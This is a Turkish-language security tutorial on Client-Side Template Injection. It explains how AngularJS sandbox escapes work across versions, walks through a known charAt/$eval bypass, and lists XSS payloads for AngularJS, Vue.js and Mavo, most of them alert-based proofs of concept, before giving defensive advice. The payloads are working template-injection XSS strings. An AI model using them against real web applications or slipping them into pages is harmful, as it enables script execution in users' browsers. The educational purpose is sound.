Client-Side Template Injection zafiyeti, adından da anlaşılacağı üzere, Server-Side Template Injection’da olduğu gibi template motorunun saldırganlar tarafından manipüle edilerek zararlı kodlar yardımı ile istismar edilmesine ve saldırı gerçekleştirilmesine yarayan bir zafiyettir. SSTI’dan farkı ise, istemci yani son kullanıcı tarafında gerçekleşmesidir. Bir nevi Cross-Site Scripting (XSS) saldırısı gibi düşünülebilir.
Front-End Dünyası
Son yıllarda, “Front-End Development” kavramının hızla gelişmesiyle birlikte, çoğu modern web uygulamasının AngularJS, React, Vue, gibi çerçeveler (framework) ile oluşturulduğunu görmekteyiz. Google’a göre, “AngularJS, uygulamalar geliştirirken karşılaşılan birçok zorluğun üstesinden gelmek için Google, bağımsız geliştiriciler ve kurumlar tarafından geliştirilmesi sürdürülen, JavaScript tabanlı açık kaynaklı bir Front-End Web çerçevesidir.”. Çoğu insan bu sistemlerin XSS saldırısı gibi güvenlik açıklarına karşı güvenli olduğunu düşünse de bu tam olarak doğru değildir, sadece daha farklı istismar etme adımları bulunmaktadır.
Client-Side Template Injection Nedir?
Client-Side Template Injection (CSTI) saldırısı, bir web uygulamasının istemci tarafında (tarayıcıda) yürütülen bir saldırı türüdür. CSTI, sunucu tarafında üretilen şablonların istemci tarafında işlenmesi sırasında meydana gelmektedir. Bu saldırı türü, template tarafından işlenmek için kullanılan değişkenlerin veya kullanıcıdan alınan girdilerin yeterince doğrulanmadan veya temizlenmeden doğrudan template içine dahil edilmesi sonucu ortaya çıkmaktadır.
Saldırganlar, CSTI’ı kullanarak web uygulamasında kullanılan template’lere zararlı kod enjekte edebilmektedir. Bu zararlı kodlar, web sayfasını ziyaret eden diğer kullanıcılara veya web uygulaması sunucusuna doğrudan saldırmak için kullanılabilmektedir.
AngularJS ve CSTI Zafiyeti
AngularJS, Google tarafından geliştirilen, açık kaynak kodlu bir JavaScript tabanlı web uygulama çerçevesidir. AngularJS, tek sayfa uygulamaları (SPA) geliştirirken kullanılan bir çerçeve olarak öne çıkmaktadır.
AngularJS, model-view-controller (MVC) tasarım desenini kullanarak, karmaşık web uygulamalarının geliştirilmesini kolaylaştırmaktadır. Uygulama kodunu daha iyi organize etmek için özelleştirilebilir direktifler, hizmetler, filtreler ve veri bağlama özellikleri sunmaktadır.
AngularJS, HTML koduna ve sayfalarına attributes ekleyerek, HTML kodunda dinamik değişiklikler yapmayı, arayüzün veri değişikliklerine tepki vermesini ve sayfalarda dinamik içerikler oluşturmayı sağlamaktadır. Bu sayede, uygulama geliştirme sürecinde kod tekrarı önlenmakte ve geliştiricilerin daha verimli çalışması sağlanmaktadır.
AngularJS, özellikle büyük ölçekli web uygulamalarının geliştirilmesi sırasında, geliştirme sürecini hızlandırmak ve web uygulamasının performansını artırmak için kullanılmaktadır. AngularJS, daha sonra Angular adını alarak yeni sürümleriyle geliştirilmeye devam edilmektedir.
Yukarıda bahsetmiş olduğumuz attribute, ng-* olarak başlayan komutlarla sağlanır ve AngularJS tarafından tanınır. Bu komutlar sayesinde, HTML sayfalarındaki veriler dinamik bir şekilde değiştirilebilir.
Örneğin, AngularJS ile bir metin kutusu için şablon oluşturmak isteyelim. Bu metin kutusu, kullanıcının girdiği değeri bir değişkene bağlayacak ve bu değişkeni şablon içinde kullanacağız. Bunun için, HTML kodumuzun içine ng-model komutunu ekleyerek, metin kutusunu bir model değişkeniyle ilişkilendirebiliriz. Aşağıdaki örnek kod, bir metin kutusu şablonu oluşturur:
<label>Adınız:</label>
<input type="text" ng-model="ad">
<p>Merhaba, {{ad}}!</p>
Bu kodda, ng-model=”ad” komutu, ad isimli bir model değişkeni oluşturur. Kullanıcının metin kutusuna girdiği değer, bu değişkene bağlanır. Şablonun diğer kısmında ise, {{ad}} ifadesi kullanılarak, ad değişkeninin içeriği ekranda görüntülenir.
Benzer şekilde, AngularJS komutları, bir dizi öğe için liste şablonu oluşturabiliriz. Aşağıdaki örnek kod, bir liste şablonu oluşturur:
<ul>
<li ng-repeat="ogrenci in ogrenciler">{{ogrenci.ad}} ({{ogrenci.yas}})</li>
</ul>
Bu kodda, ng-repeat=”ogrenci in ogrenciler” komutu, ogrenciler isimli bir dizi veriyi temsil eder. Her bir ogrenci öğesi için, {{ogrenci.ad}} ve {{ogrenci.yas}} ifadeleri kullanılarak, liste öğeleri dinamik olarak oluşturulur.
Kısaca Angular’ın çalışma yapısını anladığımıza göre, aslında SSTI yani Server-Side Template Injection’a ne kadar benzediğini fark edebilirsiniz. SSTI saldırılarında zafiyeti tespit etmek için {{7*7}} gibi bir payload gönderip sonuç olarak 49* görebiliriz (*: template motorunun ne olduğuna göre değişir). Yine aynı şekilde kullanılan Javascript kütüphanelerine göre bu şekilde tespitler yapabiliriz.
AngularJS 1.0.8 sürümüne baktığımızda {{constructor.constructor(‘alert(1)’)()}} şeklindeki bir payload aracılığı ile XSS zafiyetinde oluğu gibi ekrana alarm getirilmesi sağlanabilmektedir.
Neden ve Nasıl?
Bütün süreci anlamak için Debug ederek ilerliyoruz ve Developer Konsolu’na scope.constractor yazdığımızda bize Object Constractor’ını döndürdüğünü görüyoruz, scope.constractor.constractor yazdığımızda ise Function Constractor’ını döndürdüğünü görüyoruz. Bu Javascript’deki en üst methoddur, bu nedenle istediğimiz gibi bir fonksiyon üretebilir ve çalıştırabiliriz, yani constructor.constructor(‘alert(1)’)() dediğimiz zaman en üst Constructor olan Function’a ulaşıp daha sonra alert(1) şeklinde istediğimiz zararlı fonksiyonu üretip ardından parantez açıp kapatarak bu fonksiyonun çalıştırılmasını sağlıyoruz. Böylece bu Payload yardımı ile Angularjs üzerinde istediğimiz gibi zararlı kod çalıştırabilir hale geliyoruz. AngularJS template motorunun özel meta karakterleri ile güvenli olmayan bir girdiye bu Payload’ı final olarak {{constructor.constructor(‘alert(1)’)()}} şeklinde gönderdiğimizde ekrana alert(1) getirilmesini sağlayabiliyoruz.
AngularJS 1.4.7 sürümüne baktığımızda ise iç tarafta çok fazla değişiklik yapıldığını ve bu Payload’ın düzeltildiğini görebiliyoruz. Peki nasıl düzeltilmiş ve nasıl bypass ederiz gelin birlikte inceleyelim.
Öncelikle 1.0.8 sürümünde kullandığımız Payload’ı tekrar kullanmaya çalışmakla işe başlıyoruz ve burada “Error: Referencing funtion in angular expressions is disallowed” şeklinde bir hata alıyoruz. Angular 1.4.7 sürümünde önceki yaptığımız gibi yapıcı methodlara ulaşarak istediğimiz gibi yeni bir fonksiyon oluşturmamıza izin vermediğini görüyoruz, bu hatanın nereden geldiğine baktığımızda ise ensureSafeObject isimli bir fonksiyon eklendiğini görüyoruz. Bu fonksiyonu incelediğimizde ise aşağıdaki gibi bir kodla karşılaşıyoruz.
If(obj){
If(obj.constructor === obj){
Throw $parseMinErr(‘isecfn’, Referencing funtion in angular expressions is disallowed, fullExpression);}
… … … …
Buradaki kod obj olarak yer alan nesnenin fonksiyon constructor olup olmadığını kontrol ediyor. Javascript’teki en yüksek Constructor’un function olduğundan kısaca bahsetmiştik. Koddaki obj bir Function Constructor olduğunda, bunun oluşturucusu yine Function Constructor olacaktır, yani koddaki if kontrolü “true” olarak değerlendirecek ve bu hatayı atacaktır. Çok karmaşık geldi ise özetle obj = function ise “true” dönecek ve hata verecek. Böylece function üzerinden istediğimiz gibi yeni bir fonksiyon üretememiş olacağız ve önceki Payload’ımız düzeltilmiş olacaktır.
Ancak burada {{‘a’.constructor.prototype.charAt=[].join;$eval(‘x=1} } };alert(1)//’);}} şeklinde bir Payload gönderdiğimizde bu korumayı da bypass etmiş oluyoruz. Garet Heyes tarafından bulunan bu bypass methodunu derinlemesine incelediğimizde aslında bu Payload’ın 2 parçadan oluştuğunu görüyoruz. Bu Payload’ın neden ve nasıl çalıştığını anlamak için bu kod üzerinde ufak bir değişiklik yaparak debug işlemini kolaylaştırıyoruz. Yeni Payload’ımız {{‘a’.constructor.prototype.charAt=’test’.concat;$eval(‘x=1} } };debugger;alert(1)//’);}} şeklinde olacak, İlk kısım ‘a’.constructor.prototype.charAt=’test’.concat; ile başlayan kısım, ikinci kısım ise $eval(‘x=1} } };debugger;alert(1)//’) olacaktır.
Payload’ımızın ilk kısmı charAt ile etkileşime girmektedir. chartAt standart bir String Function’udur. Örnek olarak ‘test’.charAt(0) dediğimizde t değerini döndürecektir charAt(1) dediğimizde ise e değerini döndürecektir. Peki ya constructor.prototype ne işe yarıyor diye soracak olursanız öncelikle şöyle bi örnek verelim ‘a’.constractor bize String() Constractor’unu verecektir “a” burada bir string olduğu için bunun oluşturucusunun string function olması doğal sonuçtur, tabii bu aşamada string’e ulaşmamız hala zararlı değildir, sonuçta hala en yüksek yetkilerdeki function() constractoru’na ulaşamadık. Prototype’ı anlamak için aslında bilgisayar mühendisliği derslerinde anlatılan miras alma yani inheritence konusunu iyi bilmek gerekir çünkü burada prototype aracılığı ile bir çeşit miras alma işlemi yapabiliyoruz.
‘a’.constructor.prototype.charAt dediğimizde aslında ‘a’ değeri bir string olduğu için öncelikle a.constructor diyerek tüm string methoduna oradanda miras alarak charAt fonksiyonuna erişiyoruz buraya kadar her şey normal ama tarayıcımızın developer console kısmında ‘a’.constructor.prototype.charAt=’test’.concat yazdığımızda daha sonra asd.charat(0) yazdığımızda ise normalde a değerini döndürmesi gerekirken asd0 değerini döndürdüğünü görüyoruz, Payload’ımızın ilk kısmının charAt fonksiyonunun normal çalışma mekanizmasını tamamen yok etti diyebiliriz.
Şimdi özetle ilk kısım, charAt işlevinin üzerine başka bir işlev yazmaya çalışıyor. Gelelim ikinci kısma;
İkinci kısım oldukça karışık gelebilir. Çünkü compilerlar vb. gibi derin konular içeriyor ama asıl konumuzdan fazla sapmamak ve fazla kafa karıştırmamak için yüzeysel olarak bahsedeceğiz.
İkinci kısımdaki eval fonksiyonu ile bir komut çalıştırmaya çalışıldığını anlayabiliyoruz. Öyleyse, eval ile bunu yapmak mümkündü. Peki neden ilk kısımda charAt fonksiyonunun temel özelliğini değiştirdik? Bunun sebebini anlamak için Angular’ı derinlemesine incelediğimizde Lexer yani Lexical Analysis dediğimiz (basitçe tabiri ile compiler’ın ilk adımı diyebiliriz, Lexer hakkında daha fazla bilgi edinmek isterseniz Wikipedia üzerinden öğrenebilirsiniz.) bir sistem kullanmaktadır.
Bunun sebebi ise, aslında Angular’ın kendi içerisinde kodlarını Javascript’e dönüştürmek için kullanıyor olması ve bunu yaparken bizim yerleştirdiğimiz Payload’da bu compiler sürecinden yani Javascript’e dönüştürülme sürecinden geçiyor olmasıdır. Bu süreç içerisinde görüyoruz ki charAt fonksiyonu da kullanılarak bir takım doğrulama işlemleri yapılıyor. İlk Payload’ımızın çalışmamasına sebep olan ensureSafeObject’i hatırladınız mı? İşte tamda bu sırada charAt fonksiyonunu bozduğumuz ve gerekli kontrolleri sağlayamadığı için zararlı kodlarımızı yerleştirip çalıştırabiliyoruz. Gördüğünüz Siber Güvenlik Dünyası’nda sürekli olarak tehditler gelişiyor ve bu tehditlerin engellenmesi için çalışma yapılıyor. Bu bypass için Angular, 1.5.8 sürümünde bu Payload’ı düzeltti ve 1.5.8 sürümündeki güvenlik önlemi tekrar atlatılabildi. Angular, 1.6 sürümüyle beraber bu sandbox özelliğini kaldırdığını duyurmuştu. Yani aslında Angular son sürümlerinde artık herhangi bir bypass’a ihtiyaç duymuyor diyebiliriz. Bu nedenle güvenlik kısmı aslında yazılımcılara kalmış durumda. Ayrıca 1.6+ sürümler için aşağıdaki gibi basit bir Payload yardımı ile CSTI zafiyeti tetiklenebilir:
{{constructor.constructor('alert(1)')()}}
Diğer Frameworkler için Örnekler
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
V3
{{_openBlock.constructor('alert(1)')()}}
V2
{{constructor.constructor('alert(1)')()}}
Mavo
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
Şu ana kadar Client-Side Template Injection ile nasıl XSS saldırılarına sebebiyet verilebileceğini anlattık. Peki korunmak için neler yapabiliriz?
Client-Side Template Injection Saldırılarından Nasıl Korunabiliriz?
- Her zaman olduğu gibi dikkat edilmesi gereken ilk konu, dışardan alınan verilerin temiz olduğundan emin olmaktır. Çünkü bildiğiniz gibi en büyük risk dışarıdan alınan verilerdir. Bu sadece CSTI için değil, bilinen tüm web zafiyetleri için geçerlidir. SQL Injection, SSTI, XXE, XSS Vb bunlara birer örnek olabilir.
- İkinci önemli konu ise kullanıcılardan alınan verilerin içerisinde meta-karakter dediğimiz programlama dillerinin özel olarak kabul ettiği sembolleri içermediğinden emin olmaktır. Örneğin; SQL injection saldırılarını tetikleyen tek tırnak (‘) çift tırnak (“) gibi karakterler SQL dili için özel anlamlar taşır ve bu karakterler işleme sokulduğunda istenmeyen sonuçlara sebep olabilir. Bu yazılım aşamasında düşünülmesi gereken bir genel bir güvenlik yaklaşımı olmalıdır. CSTI için bu meta karakterler kullandığınız çerçeve özelinde değişiklik gösterir. Angular için bu meta karakter {} süslü parantezler olacaktır.
- Son olarak da her zaman güncel kalmaya dikkat edilmelidir. Yeni bir zafiyet çıktığında, zafiyetten etkilenen yazılımı yayımlayan firma, sorunu gidermek için güvenlik güncellemeleri yayımlamaktadır. Bu güvenlik yamalarını almadığınızda saldırılara maruz kalabilirsiniz.
Özetle; CSTI saldırılarından korunmanın en iyi yolu, template üzerinde kullanılan değişkenleri doğrulamak veya doğru bir şekilde temizlemek ve kullanıcı girdilerini güvenli bir şekilde işleme sokmaktır. Bu, web uygulamasının kodunu yazarken düşünülmesi gereken bir güvenlik önlemidir. Ayrıca, web uygulamasının ve kullanılan çerçevelerin mümkün olan en son sürümünün kullanılması ve güvenlik açıklarının sürekli olarak taranması da önemlidir.
Yazar: Furkan Harani
Referanslar
https://book.hacktricks.xyz/pentesting-web/client-side-template-injection-csti